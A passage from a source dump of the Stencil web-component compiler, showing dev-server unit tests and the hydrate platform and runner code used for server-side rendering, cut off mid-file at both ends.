appendDevServerClientIframe(`88mph`, ``); expect(h).toBe(`88mph`); }); it('appends to end', () => { const h = appendDevServerClientIframe(`88mph`, ``); expect(h).toBe(`88mph`); }); }); describe('pingRoute', () => { it('should return a 200 for successful build', async () => { serverCtx.getBuildResults = () => Promise.resolve({ hasSuccessfulBuild: true }) as Promise; const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/ping'; await handler(req, res); expect(res.$statusCode).toBe(200); }); it('should return a 500 for unsuccessful build', async () => { serverCtx.getBuildResults = () => Promise.resolve({ hasSuccessfulBuild: false }) as Promise; const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/ping'; await handler(req, res); expect(res.$statusCode).toBe(500); }); }); }); interface TestServerResponse extends ServerResponse { $statusCode?: number; $headers?: any; $contentWrite?: string; $content?: string; $contentType?: string; } ================================================ FILE: src/dev-server/test/server-http.spec.ts ================================================ import * as net from 'net'; import { findClosestOpenPort } from '../server-http'; describe('server-http', () => { describe('findClosestOpenPort', () => { let testServer: net.Server; const TEST_HOST = '127.0.0.1'; const TEST_PORT = 9876; afterEach(async () => { if (testServer) { await new Promise((resolve) => { testServer.close(() => resolve()); }); } }); it('should return the same port if it is available', async () => { const port = await findClosestOpenPort(TEST_HOST, TEST_PORT); expect(port).toBe(TEST_PORT); }); it('should find the next available port when strictPort is false', async () => { // Occupy the test port testServer = net.createServer(); await new Promise((resolve) => { testServer.listen(TEST_PORT, TEST_HOST, () => resolve()); }); const port = await findClosestOpenPort(TEST_HOST, TEST_PORT, false); expect(port).toBe(TEST_PORT + 1); }); it('should find the next available port when strictPort is not provided (defaults to false)', async () => { // Occupy the test port testServer = net.createServer(); await new Promise((resolve) => { testServer.listen(TEST_PORT, TEST_HOST, () => resolve()); }); const port = await findClosestOpenPort(TEST_HOST, TEST_PORT); expect(port).toBe(TEST_PORT + 1); }); it('should throw an error when port is taken and strictPort is true', async () => { // Occupy the test port testServer = net.createServer(); await new Promise((resolve) => { testServer.listen(TEST_PORT, TEST_HOST, () => resolve()); }); await expect(findClosestOpenPort(TEST_HOST, TEST_PORT, true)).rejects.toThrow( `Port ${TEST_PORT} is already in use. Please specify a different port or set strictPort to false.`, ); }); it('should return the port when available and strictPort is true', async () => { const port = await findClosestOpenPort(TEST_HOST, TEST_PORT, true); expect(port).toBe(TEST_PORT); }); }); }); ================================================ FILE: src/dev-server/test/tsconfig.json ================================================ { "extends": "../../testing/tsconfig.internal.json" } ================================================ FILE: src/dev-server/test/util.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { DEV_SERVER_URL } from '../dev-server-constants'; import { getBrowserUrl, getDevServerClientUrl, getSsrStaticDataPath, isExtensionLessPath, isSsrStaticDataPath, } from '../dev-server-utils'; describe('dev-server, util', () => { it('should get url with custom base url and pathname', () => { const protocol = 'http:'; const address = '0.0.0.0'; const port = 44; const baseUrl = '/my-base-url/'; const pathname = '/my-custom-path-name'; const url = getBrowserUrl(protocol, address, port, baseUrl, pathname); expect(url).toBe('http://localhost:44/my-base-url/my-custom-path-name'); }); it('should get url with custom pathname', () => { const protocol = 'http'; const address = '0.0.0.0'; const port = 44; const baseUrl = '/'; const pathname = '/my-custom-path-name'; const url = getBrowserUrl(protocol, address, port, baseUrl, pathname); expect(url).toBe('http://localhost:44/my-custom-path-name'); }); it('should get path with 80 port', () => { const protocol = 'http'; const address = '0.0.0.0'; const port = 80; const baseUrl = '/'; const pathname = '/'; const url = getBrowserUrl(protocol, address, port, baseUrl, pathname); expect(url).toBe('http://localhost/'); }); it('should get path with no port', () => { const protocol = 'http'; const address = '0.0.0.0'; const port: any = undefined; const baseUrl = '/'; const pathname = '/'; const url = getBrowserUrl(protocol, address, port, baseUrl, pathname); expect(url).toBe('http://localhost/'); }); it('should get path with https', () => { const protocol = 'https'; const address = '0.0.0.0'; const port = 3333; const baseUrl = '/'; const pathname = '/'; const url = getBrowserUrl(protocol, address, port, baseUrl, pathname); expect(url).toBe('https://localhost:3333/'); }); it('should get path with custom address', () => { const protocol = 'http'; const address = 'staging.stenciljs.com'; const port = 3333; const baseUrl = '/'; const pathname = '/'; const url = getBrowserUrl(protocol, address, port, baseUrl, pathname); expect(url).toBe('http://staging.stenciljs.com:3333/'); }); }); describe('getDevServerClientUrl', () => { it('should get path for dev server w/ host w/ port w/ protocol', () => { const devServerConfig: d.DevServerConfig = { protocol: 'http', address: '0.0.0.0', port: 3333, basePath: '/my-base-url/', }; const proto = 'https'; const host = 'staging.stenciljs:5555.com'; const url = getDevServerClientUrl(devServerConfig, host, proto); expect(url).toBe(`https://staging.stenciljs:5555.com/my-base-url${DEV_SERVER_URL}`); }); it('should get path for dev server w/ host w/ port no protocol', () => { const devServerConfig: d.DevServerConfig = { protocol: 'http', address: '0.0.0.0', port: 3333, basePath: '/my-base-url/', }; const proto: string = null; const host = 'staging.stenciljs:5555.com'; const url = getDevServerClientUrl(devServerConfig, host, proto); expect(url).toBe(`http://staging.stenciljs:5555.com/my-base-url${DEV_SERVER_URL}`); }); it('should get path for dev server w/ host no port', () => { const devServerConfig: d.DevServerConfig = { protocol: 'http', address: '0.0.0.0', port: 3333, basePath: '/my-base-url/', }; const proto: string = null; const host = 'staging.stenciljs.com'; const url = getDevServerClientUrl(devServerConfig, host, proto); expect(url).toBe(`http://staging.stenciljs.com/my-base-url${DEV_SERVER_URL}`); }); it('should get path for dev server w/ base url and port, no host', () => { const devServerConfig: d.DevServerConfig = { protocol: 'http', address: '0.0.0.0', port: 3333, basePath: '/my-base-url/', }; const proto: string = null; const host: string = null; const url = getDevServerClientUrl(devServerConfig, host, proto); expect(url).toBe(`http://localhost:3333/my-base-url${DEV_SERVER_URL}`); }); it('should get path for dev server w/ base url and w/out port', () => { const devServerConfig: d.DevServerConfig = { protocol: 'http', address: '0.0.0.0', basePath: '/my-base-url/', }; const proto: string = null; const host: string = null; const url = getDevServerClientUrl(devServerConfig, host, proto); expect(url).toBe(`${devServerConfig.protocol}://localhost/my-base-url${DEV_SERVER_URL}`); }); it('should get path for dev server w/ custom address, base url and port', () => { const devServerConfig: d.DevServerConfig = { protocol: 'http', address: '1.2.3.4', port: 3333, basePath: '/my-base-url/', }; const proto: string = null; const host: string = null; const url = getDevServerClientUrl(devServerConfig, host, proto); expect(url).toBe(`${devServerConfig.protocol}://${devServerConfig.address}:3333/my-base-url${DEV_SERVER_URL}`); }); it('isExtensionLessPath', () => { expect(isExtensionLessPath('http://stenciljs.com/')).toBe(true); expect(isExtensionLessPath('http://stenciljs.com/blog')).toBe(true); expect(isExtensionLessPath('http://stenciljs.com/blog/')).toBe(true); expect(isExtensionLessPath('http://stenciljs.com/.')).toBe(false); expect(isExtensionLessPath('http://stenciljs.com/data.json')).toBe(false); expect(isExtensionLessPath('http://stenciljs.com/index.html')).toBe(false); expect(isExtensionLessPath('http://stenciljs.com/blog.html')).toBe(false); }); it('isSsrStaticDataPath', () => { expect(isSsrStaticDataPath('http://stenciljs.com/')).toBe(false); expect(isSsrStaticDataPath('http://stenciljs.com/index.html')).toBe(false); expect(isSsrStaticDataPath('http://stenciljs.com/page.state.json')).toBe(true); }); it('getSsrStaticDataPath, root', () => { const req: d.HttpRequest = { url: new URL('http://stenciljs.com/page.static.json'), method: 'GET', acceptHeader: '', searchParams: null, }; const r = getSsrStaticDataPath(req); expect(r.fileName).toBe('page.static.json'); expect(r.hasQueryString).toBe(false); expect(r.ssrPath).toBe('http://stenciljs.com/'); }); it('getSsrStaticDataPath, no trailing slash refer', () => { const req: d.HttpRequest = { url: new URL('http://stenciljs.com/blog/page.static.json?v=1234'), method: 'GET', acceptHeader: '', searchParams: null, headers: { Referer: 'http://stenciljs.com/page', }, }; const r = getSsrStaticDataPath(req); expect(r.fileName).toBe('page.static.json'); expect(r.hasQueryString).toBe(true); expect(r.ssrPath).toBe('http://stenciljs.com/blog'); }); it('getSsrStaticDataPath, with trailing slash refer', () => { const req: d.HttpRequest = { url: new URL('http://stenciljs.com/blog/page.static.json?v=1234'), method: 'GET', acceptHeader: '', searchParams: null, headers: { Referer: 'http://stenciljs.com/page/', }, }; const r = getSsrStaticDataPath(req); expect(r.fileName).toBe('page.static.json'); expect(r.hasQueryString).toBe(true); expect(r.ssrPath).toBe('http://stenciljs.com/blog/'); }); }); ================================================ FILE: src/hydrate/platform/h-async.ts ================================================ import { consoleDevError } from '@platform'; import { h } from '@runtime'; import type * as d from '../../declarations'; export const hAsync = (nodeName: any, vnodeData: any, ...children: d.ChildType[]) => { if (Array.isArray(children) && children.length > 0) { // only return a promise if we have to const flatChildren = children.flat(Infinity); // has children and at least one of them is async // wait on all of them to be resolved if (flatChildren.some((child) => child instanceof Promise)) { return Promise.all(flatChildren) .then((resolvedChildren) => { return h(nodeName, vnodeData, ...resolvedChildren); }) .catch((err) => { consoleDevError(err); return h(nodeName, vnodeData); }); } // no async children, just return sync return h(nodeName, vnodeData, ...flatChildren); } // no children, return sync return h(nodeName, vnodeData); }; ================================================ FILE: src/hydrate/platform/hydrate-app.ts ================================================ import { globalScripts } from '@app-globals'; import { addHostEventListeners, getHostRef, loadModule, plt, registerHost, setScopedSSR } from '@platform'; import { connectedCallback, insertVdomAnnotations } from '@runtime'; import { CMP_FLAGS } from '@utils'; import type * as d from '../../declarations'; import { proxyHostElement } from './proxy-host-element'; export function hydrateApp( win: Window & typeof globalThis, opts: d.HydrateFactoryOptions, results: d.HydrateResults, afterHydrate: ( win: Window, opts: d.HydrateFactoryOptions, results: d.HydrateResults, resolve: (results: d.HydrateResults) => void, ) => void, resolve: (results: d.HydrateResults) => void, ) { const connectedElements = new Set(); const createdElements = new Set(); const waitingElements = new Set(); const orgDocumentCreateElement = win.document.createElement; const orgDocumentCreateElementNS = win.document.createElementNS; const resolved = Promise.resolve(); setScopedSSR(opts); let tmrId: any; let ranCompleted = false; function hydratedComplete() { globalThis.clearTimeout(tmrId); createdElements.clear(); connectedElements.clear(); if (!ranCompleted) { ranCompleted = true; try { if (opts.clientHydrateAnnotations) { insertVdomAnnotations(win.document, opts.staticComponents); } win.dispatchEvent(new win.Event('DOMContentLoaded')); win.document.createElement = orgDocumentCreateElement; win.document.createElementNS = orgDocumentCreateElementNS; } catch (e) { renderCatchError(opts, results, e); } } afterHydrate(win, opts, results, resolve); } function hydratedError(err: any) { renderCatchError(opts, results, err); hydratedComplete(); } function timeoutExceeded() { hydratedError(`Hydrate exceeded timeout${waitingOnElementsMsg(waitingElements)}`); } try { function patchedConnectedCallback(this: d.HostElement) { return connectElement(this); } function patchElement(elm: d.HostElement) { if (isValidComponent(elm, opts)) { // this element is a valid component const hostRef = getHostRef(elm); if (!hostRef) { // we haven't registered this component's host element yet // get the component's constructor const Cstr = loadModule( { $tagName$: elm.nodeName.toLowerCase(), $flags$: null, }, null, ) as d.ComponentConstructor; if (Cstr != null && Cstr.cmpMeta != null) { // we found valid component metadata if ( opts.serializeShadowRoot !== false && !!(Cstr.cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) && tagRequiresScoped(elm.tagName, opts.serializeShadowRoot) ) { // this component requires scoped css encapsulation during SSR const cmpMeta = Cstr.cmpMeta; cmpMeta.$flags$ |= CMP_FLAGS.shadowNeedsScopedCss; // 'cmpMeta' is a getter only, so needs redefining Object.defineProperty(Cstr as any, 'cmpMeta', { get: function (this: any) { return cmpMeta; }, }); } createdElements.add(elm); elm.connectedCallback = patchedConnectedCallback; // register the host element registerHost(elm, Cstr.cmpMeta); // proxy the host element with the component's metadata proxyHostElement(elm, Cstr); } } } } function patchChild(elm: any) { if (elm != null && elm.nodeType === 1) { patchElement(elm); const children = elm.children; for (let i = 0, ii = children.length; i < ii; i++) { patchChild(children[i]); } } } function connectElement(elm: HTMLElement) { createdElements.delete(elm); if (isValidComponent(elm, opts) && results.hydratedCount < opts.maxHydrateCount) { // this is a valid component to hydrate // and we haven't hit our max hydrated count yet if (!connectedElements.has(elm) && shouldHydrate(elm)) { // we haven't connected this component yet // and all of its ancestor elements are valid too // add it to our Set so we know it's already being connected connectedElements.add(elm); return hydrateComponent.call(elm, win, results, elm.nodeName, elm, waitingElements); } } return resolved; } function waitLoop(): Promise { const toConnect = Array.from(createdElements).filter((elm) => elm.parentElement); if (toConnect.length > 0) { return Promise.all(toConnect.map(connectElement)).then(waitLoop); } return resolved; } win.document.createElement = function patchedCreateElement(tagName: string) { const elm = orgDocumentCreateElement.call(win.document, tagName); patchElement(elm); return elm; }; win.document.createElementNS = function patchedCreateElement(namespaceURI: string, tagName: string) { const elm = orgDocumentCreateElementNS.call(win.document, namespaceURI, tagName); patchElement(elm as d.HostElement); return elm; } as (typeof window)['document']['createElementNS']; // ensure we use NodeJS's native setTimeout, not the mocked hydrate app scoped one tmrId = globalThis.setTimeout(timeoutExceeded, opts.timeout); plt.$resourcesUrl$ = new URL(opts.resourcesUrl || './', win.document.baseURI).href; globalScripts(); patchChild(win.document.body); waitLoop().then(hydratedComplete).catch(hydratedError); } catch (e) { hydratedError(e); } } async function hydrateComponent( this: HTMLElement, win: Window & typeof globalThis, results: d.HydrateResults, tagName: string, elm: d.HostElement, waitingElements: Set, ) { tagName = tagName.toLowerCase(); const Cstr = loadModule( { $tagName$: tagName, $flags$: null, }, null, ) as d.ComponentConstructor; if (Cstr != null) { const cmpMeta = Cstr.cmpMeta; if (cmpMeta != null) { waitingElements.add(elm); const hostRef = getHostRef(this); if (!hostRef) { return; } addHostEventListeners(this, hostRef, cmpMeta.$listeners$, false); try { connectedCallback(elm); await elm.componentOnReady(); results.hydratedCount++; const ref = getHostRef(elm); const modeName = !ref?.$modeName$ ? '$' : ref?.$modeName$; if (!results.components.some((c) => c.tag === tagName && c.mode === modeName)) { results.components.push({ tag: tagName, mode: modeName, count: 0, depth: -1, }); } } catch (e) { win.console.error(e); } waitingElements.delete(elm); } } } function isValidComponent(elm: Element, opts: d.HydrateFactoryOptions) { if (elm != null && elm.nodeType === 1) { // playing it safe and not using elm.tagName or elm.localName on purpose const tagName = elm.nodeName; if (typeof tagName === 'string' && tagName.includes('-')) { if (opts.excludeComponents.includes(tagName.toLowerCase())) { // this tagName we DO NOT want to hydrate return false; } // all good, this is a valid component return true; } } return false; } function shouldHydrate(elm: Element): boolean { if (elm.nodeType === 9) { return true; } if (NO_HYDRATE_TAGS.has(elm.nodeName)) { return false; } if (elm.hasAttribute('no-prerender')) { return false; } const parentNode = elm.parentNode; if (parentNode == null) { return true; } return shouldHydrate(parentNode as Element); } const NO_HYDRATE_TAGS = new Set([ 'CODE', 'HEAD', 'IFRAME', 'INPUT', 'OBJECT', 'OUTPUT', 'NOSCRIPT', 'PRE', 'SCRIPT', 'SELECT', 'STYLE', 'TEMPLATE', 'TEXTAREA', ]); function renderCatchError(opts: d.HydrateFactoryOptions, results: d.HydrateResults, err: any) { const diagnostic: d.Diagnostic = { level: 'error', type: 'build', header: 'Hydrate Error', messageText: '', relFilePath: undefined, absFilePath: undefined, lines: [], }; if (opts.url) { try { const u = new URL(opts.url); if (u.pathname !== '/') { diagnostic.header += ': ' + u.pathname; } } catch (e) {} } if (err != null) { if (err.stack != null) { diagnostic.messageText = err.stack.toString(); } else if (err.message != null) { diagnostic.messageText = err.message.toString(); } else { diagnostic.messageText = err.toString(); } } results.diagnostics.push(diagnostic); } function printTag(elm: HTMLElement) { let tag = `<${elm.nodeName.toLowerCase()}`; if (Array.isArray(elm.attributes)) { for (let i = 0; i < elm.attributes.length; i++) { const attr = elm.attributes[i]; tag += ` ${attr.name}`; if (attr.value !== '') { tag += `="${attr.value}"`; } } } tag += `>`; return tag; } function waitingOnElementMsg(waitingElement: HTMLElement) { let msg = ''; if (waitingElement) { const lines = []; msg = ' - waiting on:'; let elm = waitingElement; while (elm && elm.nodeType !== 9 && elm.nodeName !== 'BODY') { lines.unshift(printTag(elm)); elm = elm.parentElement; } let indent = ''; for (const ln of lines) { indent += ' '; msg += `\n${indent}${ln}`; } } return msg; } function waitingOnElementsMsg(waitingElements: Set) { return Array.from(waitingElements).map(waitingOnElementMsg); } /** * Determines if the tag requires a declarative shadow dom * or a scoped / light dom during SSR. * * @param tagName - component tag name * @param opts - serializeShadowRoot options * @returns `true` when the tag requires a scoped / light dom during SSR */ export function tagRequiresScoped(tagName: string, opts: d.HydrateFactoryOptions['serializeShadowRoot']) { if (typeof opts === 'string') { return opts === 'scoped'; } if (typeof opts === 'boolean') { return opts === true ? false : true; } if (typeof opts === 'object') { tagName = tagName.toLowerCase(); if (Array.isArray(opts['declarative-shadow-dom']) && opts['declarative-shadow-dom'].includes(tagName)) { // if the tag is in the dsd array, return dsd return false; } else if ( (!Array.isArray(opts.scoped) || !opts.scoped.includes(tagName)) && opts.default === 'declarative-shadow-dom' ) { // if the tag is not in the scoped array and the default is dsd, return dsd return false; } else { // otherwise, return scoped return true; } } return false; } ================================================ FILE: src/hydrate/platform/index.ts ================================================ import { BUILD } from '@app-data'; import { reWireGetterSetter } from '@utils/es2022-rewire-class-members'; import type * as d from '../../declarations'; import { CMP_FLAGS } from '@utils/constants'; /** * Access transformTag via the closure-scoped $stencilTagTransform object. * This object is defined in the factory closure (HYDRATE_FACTORY_INTRO). * We declare it here to satisfy TypeScript, but at runtime it will be * provided by the factory closure scope. */ declare const $stencilTagTransform: { transformTag: (tag: string) => string }; let customError: d.ErrorHandler; export const cmpModules = new Map(); const getModule = (tagName: string): d.ComponentConstructor | null => { if (typeof tagName === 'string') { tagName = tagName.toLowerCase(); const cmpModule = cmpModules.get(tagName); if (cmpModule != null) { return cmpModule[tagName]; } } return null; }; export const loadModule = ( cmpMeta: d.ComponentRuntimeMeta, _hostRef: d.HostRef, _hmrVersionId?: string, ): d.ComponentConstructor | null => { return getModule(cmpMeta.$tagName$); }; export const isMemberInElement = (elm: any, memberName: string) => { if (elm != null) { if (memberName in elm) { return true; } const cstr = getModule(elm.nodeName); if (cstr != null) { const hostRef: d.ComponentNativeConstructor = cstr as any; if (hostRef != null && hostRef.cmpMeta != null && hostRef.cmpMeta.$members$ != null) { return memberName in hostRef.cmpMeta.$members$; } } } return false; }; export const registerComponents = (Cstrs: d.ComponentNativeConstructor[]) => { for (const Cstr of Cstrs) { // using this format so it follows exactly how client-side modules work const exportName = Cstr.cmpMeta.$tagName$; // Access transformTag from the closure-scoped $stencilTagTransform object // This ensures we use the same instance as the runner (prevents duplication) const transformedTagName = $stencilTagTransform.transformTag(exportName); cmpModules.set(exportName, { [exportName]: Cstr, }); if (transformedTagName !== exportName) { cmpModules.set(transformedTagName, { [transformedTagName]: Cstr, }); } } }; export const win = window; export const readTask = (cb: Function) => { nextTick(() => { try { cb(); } catch (e) { consoleError(e); } }); }; export const writeTask = (cb: Function) => { nextTick(() => { try { cb(); } catch (e) { consoleError(e); } }); }; const resolved = /*@__PURE__*/ Promise.resolve(); export const nextTick = (cb: () => void) => resolved.then(cb); const defaultConsoleError = (e: any) => { if (e != null) { console.error(e.stack || e.message || e); } }; export const consoleError: d.ErrorHandler = (e: any, el?: any) => (customError || defaultConsoleError)(e, el); export const consoleDevError = (..._: any[]) => { /* noop for hydrate */ }; export const consoleDevWarn = (..._: any[]) => { /* noop for hydrate */ }; export const consoleDevInfo = (..._: any[]) => { /* noop for hydrate */ }; export const setErrorHandler = (handler: d.ErrorHandler) => (customError = handler); export const plt: d.PlatformRuntime = { $flags$: 0, $resourcesUrl$: '', jmp: (h) => h(), raf: (h) => requestAnimationFrame(h), ael: (el, eventName, listener, opts) => el.addEventListener(eventName, listener, opts), rel: (el, eventName, listener, opts) => el.removeEventListener(eventName, listener, opts), ce: (eventName, opts) => new win.CustomEvent(eventName, opts), }; export const setPlatformHelpers = (helpers: { jmp?: (c: any) => any; raf?: (c: any) => number; ael?: (el: any, eventName: string, listener: any, options: any) => void; rel?: (el: any, eventName: string, listener: any, options: any) => void; ce?: (eventName: string, opts?: any) => any; }) => { Object.assign(plt, helpers); }; export const supportsShadow = BUILD.shadowDom; export const supportsListenerOptions = false; export const supportsConstructableStylesheets = false; export const supportsMutableAdoptedStyleSheets = false; export const getHostRef = (ref: d.RuntimeRef) => { if (ref.__stencil__getHostRef) { return ref.__stencil__getHostRef(); } return undefined; }; export const registerInstance = (lazyInstance: any, hostRef: d.HostRef) => { if (!hostRef) return undefined; lazyInstance.__stencil__getHostRef = () => hostRef; hostRef.$lazyInstance$ = lazyInstance; if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.hasModernPropertyDecls && (BUILD.state || BUILD.prop)) { reWireGetterSetter(lazyInstance, hostRef); } return hostRef; }; export const registerHost = (elm: d.HostElement, cmpMeta: d.ComponentRuntimeMeta) => { const hostRef: d.HostRef = { $flags$: 0, $cmpMeta$: cmpMeta, $hostElement$: elm, $instanceValues$: new Map(), $serializerValues$: new Map(), $renderCount$: 0, }; hostRef.$fetchedCbList$ = []; hostRef.$onInstancePromise$ = new Promise((r) => (hostRef.$onInstanceResolve$ = r)); hostRef.$onReadyPromise$ = new Promise((r) => (hostRef.$onReadyResolve$ = r)); elm['s-p'] = []; elm['s-rc'] = []; elm.__stencil__getHostRef = () => hostRef; return hostRef; }; export const Build: d.UserBuildConditionals = { isDev: false, isBrowser: false, isServer: true, isTesting: false, }; export const styles: d.StyleMap = new Map(); export const modeResolutionChain: d.ResolutionHandler[] = []; /** * Checks to see any components are rendered with `scoped` * @param opts - SSR options */ export const setScopedSSR = (opts: d.HydrateFactoryOptions) => { scopedSSR = BUILD.shadowDom && opts.serializeShadowRoot !== false && opts.serializeShadowRoot !== 'declarative-shadow-dom'; }; export const needsScopedSSR = () => scopedSSR; let scopedSSR = false; export { hAsync as h } from './h-async'; export { hydrateApp } from './hydrate-app'; export { BUILD, Env, NAMESPACE } from '@app-data'; export { addHostEventListeners, bootstrapLazy, connectedCallback, createEvent, defineCustomElement, disconnectedCallback, forceModeUpdate, forceUpdate, Fragment, getAssetPath, getElement, getMode, getRenderingRef, getValue, Host, insertVdomAnnotations, jsx, jsxDEV, jsxs, Mixin, parsePropertyValue, postUpdateComponent, proxyComponent, proxyCustomElement, renderVdom, setAssetPath, setMode, setNonce, setTagTransformer, setValue, transformTag, } from '@runtime'; ================================================ FILE: src/hydrate/platform/proxy-host-element.ts ================================================ import { consoleError, getHostRef } from '@platform'; import { getValue, parsePropertyValue, setValue } from '@runtime'; import { CMP_FLAGS, createShadowRoot, MEMBER_FLAGS } from '@utils'; import type * as d from '../../declarations'; export function proxyHostElement(elm: d.HostElement, cstr: d.ComponentConstructor): void { const cmpMeta = cstr.cmpMeta; cmpMeta.$watchers$ = cmpMeta.$watchers$ || cstr.watchers; cmpMeta.$deserializers$ = cmpMeta.$deserializers$ || cstr.deserializers; cmpMeta.$serializers$ = cmpMeta.$serializers$ || cstr.serializers; if (typeof elm.componentOnReady !== 'function') { elm.componentOnReady = componentOnReady; } if (typeof elm.forceUpdate !== 'function') { elm.forceUpdate = forceUpdate; } /** * Only attach shadow root if there isn't one already and * the component is rendering DSD (not scoped) during SSR */ if ( !elm.shadowRoot && !!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) && !(cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss) ) { createShadowRoot.call(elm, cmpMeta); } if (cmpMeta.$members$ != null) { const hostRef = getHostRef(elm); const members = Object.entries(cmpMeta.$members$); members.forEach(([memberName, [memberFlags, metaAttributeName]]) => { if (memberFlags & MEMBER_FLAGS.Prop) { // hyphenated attribute name const attributeName = metaAttributeName || memberName; // attribute value const attrValue = elm.getAttribute(attributeName); // property value const propValue = (elm as any)[memberName]; let attrPropVal: any; // any existing getter/setter applied to class property const { get: origGetter, set: origSetter } = Object.getOwnPropertyDescriptor((cstr as any).prototype, memberName) || {}; if (attrValue != null) { // incoming value from `an-attribute=....`. if (cmpMeta.$deserializers$?.[memberName]) { // we have a custom deserializer for this member for (const deserializer of cmpMeta.$deserializers$[memberName]) { const [[methodName]] = Object.entries(deserializer); attrPropVal = (cstr as any).prototype[methodName](attrValue, memberName); } } else { // otherwise, convert from string to correct type attrPropVal = parsePropertyValue(attrValue, memberFlags, !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated)); } } if (propValue !== undefined) { // incoming value set on the host element (e.g `element.aProp = ...`) // let's add that to our instance values and pull it off the element. // This allows any applied getter/setter to kick in instead whilst still getting this value attrPropVal = propValue; delete (elm as any)[memberName]; } if (attrPropVal !== undefined) { // value set via attribute/prop on the host element if (origSetter) { // we have an original setter, so let's set the value via that. origSetter.apply(elm, [attrPropVal]); attrPropVal = origGetter ? origGetter.apply(elm) : attrPropVal; } hostRef?.$instanceValues$?.set(memberName, attrPropVal); } // element const getterSetterDescriptor: PropertyDescriptor = { get: function (this: d.RuntimeRef) { return getValue(this, memberName); }, set: function (this: d.RuntimeRef, newValue: unknown) { setValue(this, memberName, newValue, cmpMeta); }, configurable: true, enumerable: true, }; Object.defineProperty(elm, memberName, getterSetterDescriptor); Object.defineProperty(elm, metaAttributeName, getterSetterDescriptor); hostRef.$fetchedCbList$.push(() => { if (!hostRef?.$instanceValues$?.has(memberName)) { setValue( elm, memberName, attrPropVal !== undefined ? attrPropVal : hostRef.$lazyInstance$[memberName], cmpMeta, ); } Object.defineProperty(hostRef.$lazyInstance$, memberName, getterSetterDescriptor); }); } else if (memberFlags & MEMBER_FLAGS.Method) { Object.defineProperty(elm, memberName, { value(this: d.HostElement, ...args: any[]) { const ref = getHostRef(this); return ref?.$onInstancePromise$ ?.then(() => ref?.$lazyInstance$?.[memberName](...args)) .catch((e) => { consoleError(e, this); }); }, }); } }); } } function componentOnReady(this: d.HostElement) { return getHostRef(this)?.$onReadyPromise$; } function forceUpdate(this: d.HostElement) { /**/ } ================================================ FILE: src/hydrate/platform/test/__mocks__/@app-globals/index.ts ================================================ export const globalScripts = /* default */ () => { /**/ }; ================================================ FILE: src/hydrate/platform/test/serialize-shadow-root-opts.spec.ts ================================================ import type { tagRequiresScoped as TypeTagRequiresScoped } from '../hydrate-app'; describe('tagRequiresScoped', () => { let tagRequiresScoped: typeof TypeTagRequiresScoped; beforeEach(async () => { tagRequiresScoped = require('../hydrate-app').tagRequiresScoped; }); afterEach(async () => { jest.resetModules(); }); it('should return true for a component with serializeShadowRoot: true', () => { expect(tagRequiresScoped('cmp-a', true)).toBe(false); }); it('should return false for a component serializeShadowRoot: false', () => { expect(tagRequiresScoped('cmp-b', false)).toBe(true); }); it('should return false for a component with serializeShadowRoot: undefined', () => { expect(tagRequiresScoped('cmp-c', undefined)).toBe(false); }); it('should return true for a component with serializeShadowRoot: "scoped"', () => { expect(tagRequiresScoped('cmp-d', 'scoped')).toBe(true); }); it('should return false for a component with serializeShadowRoot: "declarative-shadow-dom"', () => { expect(tagRequiresScoped('cmp-e', 'declarative-shadow-dom')).toBe(false); }); it('should return true for a component when tag is in scoped list', () => { expect(tagRequiresScoped('cmp-f', { scoped: ['cmp-f'], default: 'scoped' })).toBe(true); }); it('should return false for a component when tag is not scoped list', () => { expect(tagRequiresScoped('cmp-g', { scoped: ['cmp-f'], default: 'declarative-shadow-dom' })).toBe(false); }); it('should return true for a component when default is scoped', () => { expect(tagRequiresScoped('cmp-g', { 'declarative-shadow-dom': ['cmp-f'], default: 'scoped' })).toBe(true); }); it('should return false for a component when default is declarative-shadow-dom', () => { expect(tagRequiresScoped('cmp-g', { 'declarative-shadow-dom': ['cmp-f'], default: 'declarative-shadow-dom' })).toBe( false, ); }); }); ================================================ FILE: src/hydrate/runner/create-window.ts ================================================ import { cloneWindow, MockWindow } from '@stencil/core/mock-doc'; const templateWindows = new Map(); export function createWindowFromHtml(templateHtml: string, uniqueId: string) { let templateWindow = templateWindows.get(uniqueId); if (templateWindow == null) { templateWindow = new MockWindow(templateHtml) as any; templateWindows.set(uniqueId, templateWindow); } const win = cloneWindow(templateWindow); return win as any; } ================================================ FILE: src/hydrate/runner/hydrate-factory.ts ================================================ import { MockWindow } from '@stencil/core/mock-doc'; import type * as d from '../../declarations'; export function hydrateFactory( win: MockWindow, opts: d.HydrateDocumentOptions, results: d.HydrateResults, afterHydrate: ( win: MockWindow, opts: DocOptions, results: d.HydrateResults, resolve: (results: d.HydrateResults) => void, ) => void, resolve: (results: d.HydrateResults) => void, ) { win; opts; results; afterHydrate; resolve; } /** * These are stub exports that will be replaced during compilation with the actual * tag transform functions from the factory bundle. */ export const setTagTransformer: d.TagTransformer = null as any; export const transformTag: (tag: T) => T = null as any; ================================================ FILE: src/hydrate/runner/index.ts ================================================ export { createWindowFromHtml } from './create-window'; export { hydrateDocument, renderToString, serializeDocumentToString, streamToString } from './render'; export { deserializeProperty, serializeProperty } from '@utils'; import { setTagTransformer, transformTag } from '@runtime'; export { setTagTransformer, transformTag }; ================================================ FILE: src/hydrate/runner/inspect-element.ts ================================================ import type * as d from '../../declarations'; export function inspectElement(results: d.HydrateResults, elm: Element, depth: number) { const children = [...Array.from(elm.children), ...Array.from(elm.shadowRoot ? elm.shadowRoot.children : [])]; for (let i = 0, ii = children.length; i < ii; i++) { const childElm = children[i]; const tagName = childElm.nodeName.toLowerCase(); if (tagName.includes('-')) { // we've already collected components that were hydrated // now that the document is completed we can count how // many they are and their depth const cmp = results.components.find((c) => c.tag === tagName); if (cmp != null) { cmp.count++; if (depth > cmp.depth) { cmp.depth = depth; } } } else { switch (tagName) { case 'a': const anchor = collectAttributes(childElm); anchor.href = (childElm as HTMLAnchorElement).href; if (typeof anchor.href === 'string') { if (!results.anchors.some((a) => a.href === anchor.href)) { results.anchors.push(anchor); } } break; case 'img': const img = collectAttributes(childElm); img.src = (childElm as HTMLImageElement).src; if (typeof img.src === 'string') { if (!results.imgs.some((a) => a.src === img.src)) { results.imgs.push(img); } } break; case 'link': const link = collectAttributes(childElm); link.href = (childElm as 